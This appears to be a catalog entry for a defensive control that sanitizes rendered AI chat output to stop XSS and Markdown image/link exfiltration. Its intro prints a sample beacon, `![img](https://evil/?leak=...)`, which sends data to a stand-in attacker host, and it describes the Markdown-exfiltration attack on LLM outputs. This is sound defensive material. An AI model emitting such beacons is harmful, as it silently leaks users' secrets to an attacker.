Observatory defense blueprint · ATO.M0004

Safe Output Rendering & Markdown/Link Exfiltration Guard

Neutralize XSS, active HTML/SVG, and silent Markdown image/link beacons (`![img](https://evil/?leak=...)`) in rendered AI responses.

Control blueprint overview

Control ID
ATO.M0004
Framework
Observatory defense blueprint
Stack layers
Input/Output Classifier · Tool/Sandbox Boundary
Techniques addressed
0
OWASP LLM Top 10
NIST AI RMF
Reference URI
https://observatory.silvauren.com/catalog/mitigations/ato-m0004/

Open ATO.M0004 in Interactive Defense Workbench

Control mechanism

Interposes strict output sanitization and Content Security Policy (CSP) controls between LLM text streams and client web/desktop UIs—disabling automatic external image fetches inside rendered Markdown, stripping inline SVG/HTML/JavaScript sinks, warning on unverified external link domains, and blocking query-string token exfiltration.

Implementation steps

  1. Configure Markdown renderers to block or proxy-allowlist external `<img>` / `![...](url)` elements so browser clients never fire automatic GET beacons.
  2. Sanitize rendered HTML via strict DOMPurify profiles with zero raw `<script>`, `<svg>`, `<iframe>`, or `javascript:` URI schemes.
  3. Enforce strict `img-src` and `connect-src` Content Security Policy (CSP) headers on AI chat and agent UIs.
  4. Validate with automated `markdown_link_exfil` probes (Refract) that canary secrets cannot be appended to rendered URLs.

What this control stops

Known bypass conditions & residual risk

Latency, usability & false-refusal trade-offs

Latency: <1 ms client/server Markdown AST sanitization. | False-Refusal Risk: Zero conversational refusal; external third-party images in chat responses appear as inert links or blocked placeholders unless allowlisted. | Operational Cost: Very low; standard Markdown/CSP hardening in web and desktop client renderers.